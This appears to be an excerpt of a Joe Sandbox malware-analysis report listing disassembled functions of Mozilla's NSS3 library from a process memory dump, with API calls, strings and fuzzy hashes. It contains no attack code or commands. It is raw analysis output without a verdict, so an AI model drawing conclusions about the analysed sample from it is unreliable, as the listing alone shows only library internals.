strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C678E01,00000000,6C679060,6C780B64), ref: 6C678E9E
PORT_ArenaAlloc_Util.NSS3(6C780B64,00000001,?,?,?,?,6C678E01,00000000,6C679060,6C780B64), ref: 6C678EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C678E01,00000000,6C679060,6C780B64), ref: 6C678EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C678E01,00000000,6C679060,6C780B64), ref: 6C678ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C678E01,00000000,6C679060,6C780B64), ref: 6C678EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C678E01), ref: 6C678EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C780B64,6C780B64), ref: 6C678F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C678F3F

Part of subcall function 6C67A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C67A421,00000000,00000000,6C679826), ref: 6C67A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C67904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C678E76

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: f69c62602dfb31536617967fd66723cf721a9af0d81e0055c00f6d327e565cbb
Instruction ID: 91883e97ecfc8c3b7d05619a20896fbaa108d30cd282eb342e5c7539108c6c3e
Opcode Fuzzy Hash: f69c62602dfb31536617967fd66723cf721a9af0d81e0055c00f6d327e565cbb
Instruction Fuzzy Hash: 6E61B2B1D001199BDB20CF65CC48AABB7B5FF88358F144528EC18A7751E735AD15CBB4

Function 6C628E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C628E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C628E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C628EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C7518D0,?), ref: 6C628F03
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C628F19
PL_FreeArenaPool.NSS3(?), ref: 6C628F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C628F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C628F65
PL_FinishArenaPool.NSS3(?), ref: 6C628FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C628FFE
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C629012
PL_FreeArenaPool.NSS3(?), ref: 6C629024
PL_FinishArenaPool.NSS3(?), ref: 6C62902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C62903E

Strings

security, xrefs: 6C628EE7

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 76566adf29bdfc5cb25587843c6677afd2d060b5ea63ab26f5e9cc11d8cec01b
Instruction ID: 2aa2f50d7da62cfbcc4c3a815e969ddc0e97f5c57054a127ffc7f0724fe17b6c
Opcode Fuzzy Hash: 76566adf29bdfc5cb25587843c6677afd2d060b5ea63ab26f5e9cc11d8cec01b
Instruction Fuzzy Hash: 27514A72509300ABD7109A549C40FEB73E8AFCA75CF40082EF99597B50E739D9098B6F

Function 6C6ECD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C6ECC7B), ref: 6C6ECD7A

Part of subcall function 6C6ECE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C65C1A8,?), ref: 6C6ECE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C6ECDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C6ECDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C6ECDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C6ECD8E

Part of subcall function 6C6105C0: PR_EnterMonitor.NSS3 ref: 6C6105D1
Part of subcall function 6C6105C0: PR_ExitMonitor.NSS3 ref: 6C6105EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C6ECDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C6ECDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C6ECE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C6ECE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C6ECE48

Strings

ws2_32.dll, xrefs: 6C6ECD75
freeaddrinfo, xrefs: 6C6ECD9F, 6C6ECE10
getnameinfo, xrefs: 6C6ECDB2, 6C6ECE23
wship6.dll, xrefs: 6C6ECDE3
getaddrinfo, xrefs: 6C6ECD88, 6C6ECDF9

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 28e3623c183514f238feb50ce62ab5233d63e5f709ccee7a5098f92de181574e
Instruction ID: 6c6350936c69c1a386bf2d72c56a60320e13f7804c75041cac7e4762053c57ec
Opcode Fuzzy Hash: 28e3623c183514f238feb50ce62ab5233d63e5f709ccee7a5098f92de181574e
Instruction Fuzzy Hash: 82112CA5F1B11077DB006A352E00ABA3D9C5B0720EF744536E916D1F01FF22D629CAEE

Function 6C731C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6C7313BC,?,?,?,6C731193), ref: 6C731C6B
PR_NewLock.NSS3(?,6C731193), ref: 6C731C7E

Part of subcall function 6C6E98D0: calloc.MOZGLUE(00000001,00000084,6C610936,00000001,?,6C61102C), ref: 6C6E98E5

PR_NewCondVar.NSS3(00000000,?,6C731193), ref: 6C731C91

Part of subcall function 6C60BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C6121BC), ref: 6C60BB8C

PR_NewCondVar.NSS3(00000000,?,?,6C731193), ref: 6C731CA7

Part of subcall function 6C60BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C60BBEB
Part of subcall function 6C60BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C60BBFB
Part of subcall function 6C60BB80: GetLastError.KERNEL32 ref: 6C60BC03
Part of subcall function 6C60BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C60BC19
Part of subcall function 6C60BB80: free.MOZGLUE(00000000), ref: 6C60BC22

PR_NewCondVar.NSS3(00000000,?,?,?,6C731193), ref: 6C731CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6C731193), ref: 6C731CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6C731193), ref: 6C731CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6C731193), ref: 6C731D1A

Part of subcall function 6C6E9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C611A48), ref: 6C6E9BB3
Part of subcall function 6C6E9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C611A48), ref: 6C6E9BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6C731193), ref: 6C731D3D

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6C731193), ref: 6C731D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6C731193), ref: 6C731D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6C731193), ref: 6C731D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6C731193), ref: 6C731D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6C731193), ref: 6C731D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6C731193), ref: 6C731D93
PR_DestroyLock.NSS3(00000000,?,?,6C731193), ref: 6C731D9F
free.MOZGLUE(00000000,?,6C731193), ref: 6C731DA8

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: 4b4c41f79fdc35ea9c463228b99d45a4331ac3c356387a8ffe44f29923552af4
Instruction ID: 9608400c30f723e5c89203e4ec74ca6041a37412981253de04c5b368e7068a8c
Opcode Fuzzy Hash: 4b4c41f79fdc35ea9c463228b99d45a4331ac3c356387a8ffe44f29923552af4
Instruction Fuzzy Hash: D231C6F1E107115BEB119F24AD01AA777E4AF0760DB044439E94A87F42FB71E418CBAA

Function 6C645E60 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C645ECF
EnterCriticalSection.KERNEL32(?), ref: 6C645EE3
PR_Unlock.NSS3(?), ref: 6C645F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6C645FB5

Strings

S&fl, xrefs: 6C645E6C, 6C64627F, 6C645F12
S&fl, xrefs: 6C6462E3
NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6C6461F4

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT$S&fl$S&fl
API String ID: 2280678669-1585161461
Opcode ID: 94dc875ce359c012b2f1ad25b78287f19d75cc1167e370a65d5a9aaf0aae3013
Instruction ID: a58910acdfb15723b5b82397b753032bc81a6c6dc0ddd3a18ee8fa536bf3a187
Opcode Fuzzy Hash: 94dc875ce359c012b2f1ad25b78287f19d75cc1167e370a65d5a9aaf0aae3013
Instruction Fuzzy Hash: ECF104B4A00215DFDB54CF28C884B86BBF4FF09304F1582AAD8089B746E774EA94CF95

Function 6C690C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,il), ref: 6C690C81

Part of subcall function 6C67BE30: SECOID_FindOID_Util.NSS3(6C63311B,00000000,?,6C63311B,?), ref: 6C67BE44

Part of subcall function 6C668500: SECOID_GetAlgorithmTag_Util.NSS3(6C6695DC,00000000,00000000,00000000,?,6C6695DC,00000000,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C668517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C690CC4

Part of subcall function 6C67FAB0: free.MOZGLUE(?,-00000001,?,?,6C61F673,00000000,00000000), ref: 6C67FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C690CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C690D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C690D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C690D7D
free.MOZGLUE(00000000), ref: 6C690DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C690DC1
free.MOZGLUE(00000000), ref: 6C690DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C690E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C690E0F

Part of subcall function 6C6695C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C6695E0
Part of subcall function 6C6695C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C6695F5
Part of subcall function 6C6695C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C669609
Part of subcall function 6C6695C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C66961D
Part of subcall function 6C6695C0: PK11_GetInternalSlot.NSS3 ref: 6C66970B
Part of subcall function 6C6695C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C669756
Part of subcall function 6C6695C0: PK11_GetIVLength.NSS3(?), ref: 6C669767
Part of subcall function 6C6695C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C66977E
Part of subcall function 6C6695C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C66978E

Strings

*,il, xrefs: 6C690DCC
-$il, xrefs: 6C690C64
*,il, xrefs: 6C690C69, 6C690DE0, 6C690C80, 6C690C8B, 6C690CAF

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,il$*,il$-$il
API String ID: 3136566230-1071090931
Opcode ID: c14430cd31def093a12c73cf20f2c8be9c9fadbb1a254c46b9c2e32375eeb0a2
Instruction ID: e7505ba3423967a94c93fd52005074b2c70bca11c7843a346610e643b524906a
Opcode Fuzzy Hash: c14430cd31def093a12c73cf20f2c8be9c9fadbb1a254c46b9c2e32375eeb0a2
Instruction Fuzzy Hash: A041E1B190120AABEF009F64DC41BEF76B4AF0930CF104428E91557B51E735AA18CBFA

Function 6C685CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6C685EC0,00000000,?,?), ref: 6C685CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6C685CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C685CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C685D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6C685EC0,00000000,?,?), ref: 6C685D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6C685D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C685D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C685D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6C685D80

Strings

dbm:, xrefs: 6C685D03, 6C685D60
sql:, xrefs: 6C685CD1, 6C685D36
multiaccess:, xrefs: 6C685CB8
extern:, xrefs: 6C685CEA, 6C685D4B
NSS_DEFAULT_DB_TYPE, xrefs: 6C685D1A

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: f666c94be5c109f42371a0b5bcbce9ab99181eeebdc84449249e2d7ace13b73f
Instruction ID: 14585d2d6658873c0ab66e7c095eaeb9a73245a64c6b6e554885fe781a6e109e
Opcode Fuzzy Hash: f666c94be5c109f42371a0b5bcbce9ab99181eeebdc84449249e2d7ace13b73f
Instruction Fuzzy Hash: CB31F7A0B43351ABFB021E359C48F6637E8AF0634AF240530ED57E6A81E7B1D915C2BD

Function 6C686CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C751DE0,?), ref: 6C686CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C686D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C686D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C686D82
DER_GetInteger_Util.NSS3(?), ref: 6C686DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C686DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C686E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C686F19
PK11_DigestBegin.NSS3(00000000), ref: 6C686F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C686F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C687011
PK11_FreeSymKey.NSS3(00000000), ref: 6C687033
free.MOZGLUE(?), ref: 6C68703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C687060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C687087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C6870AF

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 96f98476d5492631d9f12b440076a15edb5f0a55b00dbf70a075a06682912325
Instruction ID: ea59b9599ab6afc75b344be22afe24717e899c52dcf4b90beb73137d1532085b
Opcode Fuzzy Hash: 96f98476d5492631d9f12b440076a15edb5f0a55b00dbf70a075a06682912325
Instruction Fuzzy Hash: 3AA109B192A2009BEB108F24DC45B9B72A5DB8130CF248939F919DBB81E775D849C77F

Function 6C64AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C62AB95,00000000,?,00000000,00000000,00000000), ref: 6C64AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C62AB95,00000000,?,00000000,00000000,00000000), ref: 6C64AF39
PR_Unlock.NSS3(?,?,?,6C62AB95,00000000,?,00000000,00000000,00000000), ref: 6C64AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C62AB95,00000000,?,00000000,00000000,00000000), ref: 6C64AF69
TlsGetValue.KERNEL32 ref: 6C64B06B
EnterCriticalSection.KERNEL32(?), ref: 6C64B083
PR_Unlock.NSS3(?), ref: 6C64B0A4
TlsGetValue.KERNEL32 ref: 6C64B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C64B0D9
PR_Unlock.NSS3 ref: 6C64B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C64B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C64B182

Part of subcall function 6C67FAB0: free.MOZGLUE(?,-00000001,?,?,6C61F673,00000000,00000000), ref: 6C67FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C64B177

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C62AB95,00000000,?,00000000,00000000,00000000), ref: 6C64B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C62AB95,00000000,?,00000000,00000000,00000000), ref: 6C64B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C62AB95,00000000,?,00000000,00000000,00000000), ref: 6C64B1C2

Part of subcall function 6C671560: TlsGetValue.KERNEL32(00000000,?,6C640844,?), ref: 6C67157A
Part of subcall function 6C671560: EnterCriticalSection.KERNEL32(?,?,?,6C640844,?), ref: 6C67158F
Part of subcall function 6C671560: PR_Unlock.NSS3(?,?,?,?,6C640844,?), ref: 6C6715B2

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: e799343156d4b10680e1b6f1cd45374a375df01cce5288485b364b521631fd4a
Instruction ID: db436d13ac21138d38988e42ffdeb74c3fdf386158d1a3ff69949971256dfde0
Opcode Fuzzy Hash: e799343156d4b10680e1b6f1cd45374a375df01cce5288485b364b521631fd4a
Instruction Fuzzy Hash: 29A1D1B1E00205EBEF019F64DC41AEE77B4EF4A309F148035E909A7712E731E959CBA9

Function 6C642C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?dl,?,6C63E477,?,?,?,00000001,00000000,?,?,6C643F23,?), ref: 6C642C62
EnterCriticalSection.KERNEL32(0000001C,?,6C63E477,?,?,?,00000001,00000000,?,?,6C643F23,?), ref: 6C642C76
PL_HashTableLookup.NSS3(00000000,?,?,6C63E477,?,?,?,00000001,00000000,?,?,6C643F23,?), ref: 6C642C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C63E477,?,?,?,00000001,00000000,?,?,6C643F23,?), ref: 6C642C93

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C63E477,?,?,?,00000001,00000000,?,?,6C643F23,?), ref: 6C642CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C63E477,?,?,?,00000001,00000000,?,?,6C643F23,?), ref: 6C642CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C63E477,?,?,?,00000001,00000000,?,?,6C643F23), ref: 6C642CEA
